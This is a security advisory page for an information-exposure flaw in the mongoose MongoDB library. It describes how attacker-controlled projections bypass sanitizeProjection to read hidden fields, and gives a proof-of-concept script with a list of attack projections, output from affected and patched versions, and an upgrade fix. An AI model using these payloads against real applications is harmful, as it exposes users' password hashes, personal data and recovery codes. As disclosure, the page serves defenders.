Information Exposure Affecting mongoose package, versions >=8.0.0 <8.24.10>=9.0.0 <9.12.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.69% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-MONGOOSE-23746553
  • published4 Dec 2026
  • disclosed2 Dec 2026
  • creditUnknown

Introduced: 2 Dec 2026

NewCVE-2026-142596  (opens in a new tab)
CWE-1284  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade mongoose to version 8.24.10, 9.12.2 or higher.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Information Exposure via multiple bypass vectors in sanitizeProjection (in lib/helpers/query/sanitizeProjection.js and lib/query.js), allowing an attacker who controls the projection argument passed to select(), find(filter, projection), or the projection option to read fields marked select: false. The bypasses include +path selections in exclusive projections, aggregation expressions as object or array values, nested sub-projections, parent-path selections that include select: false children, positional projections, $meta with non-textScore values, an own __proto__ key that re-points the projection object's prototype, and $elemMatch combined with an exclusion or a cast error. Additionally, nested exclusion objects, $elemMatch cast errors, and discriminator filters cause ordinary queries that do not enable sanitizeProjection to omit the select: false exclusions Mongoose normally adds, exposing password hashes, reset tokens, API keys, and other secrets.

PoC

Requires a MongoDB server on localhost and npm install mongoose@9.12.1 (or any affected version).

const mongoose = require('mongoose');
const { Schema } = mongoose;

(async () => { await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');

const User = mongoose.model('User', new Schema({ name: String, password: { type: String, select: false }, profile: { bio: String, ssn: { type: String, select: false } }, recoveryCodes: { type: [String], select: false } })); await User.deleteMany({}); await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });

// Attacker-controlled projections, passed to a query with sanitizeProjection enabled const attacks = [ '-name +password', '-+password', { name: { $concat: ['$password'] } }, { name: ['$password'] }, { name: 1, profile: { $slice: ['$recoveryCodes', 1] } }, { profile: { ssn: 1 } }, 'profile', JSON.parse('{"proto":{"password":0}}'), { name: { x: 1, $elemMatch: { $eq: 'alice' } } } ]; for (const projection of attacks) { const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message); console.log(JSON.stringify(projection), '=>', JSON.stringify(doc)); }

await mongoose.disconnect(); })();

Output on an affected version, with _id and __v removed. Every line includes a select: false value:

"-name +password" => {"password":"HASH","profile":{"bio":"hi"}}
"-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"HASH"}
{"name":["$password"]} => {"name":["HASH"]}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]}
{"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}}
"profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}}
{"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]}

Output on a patched version. No select: false values are returned, and the last projection rejects:

"-name +password" => {"profile":{"bio":"hi"}}
"-+password" => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"alice"}
{"name":["$password"]} => {"name":"alice"}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"}
{"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}}
"profile" => {"name":"alice","profile":{"bio":"hi"}}
{"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String."

Note: Requires a MongoDB server on localhost and mongoose version 9.12.1 or any affected version.

CVSS Base Scores

version 4.0
version 3.1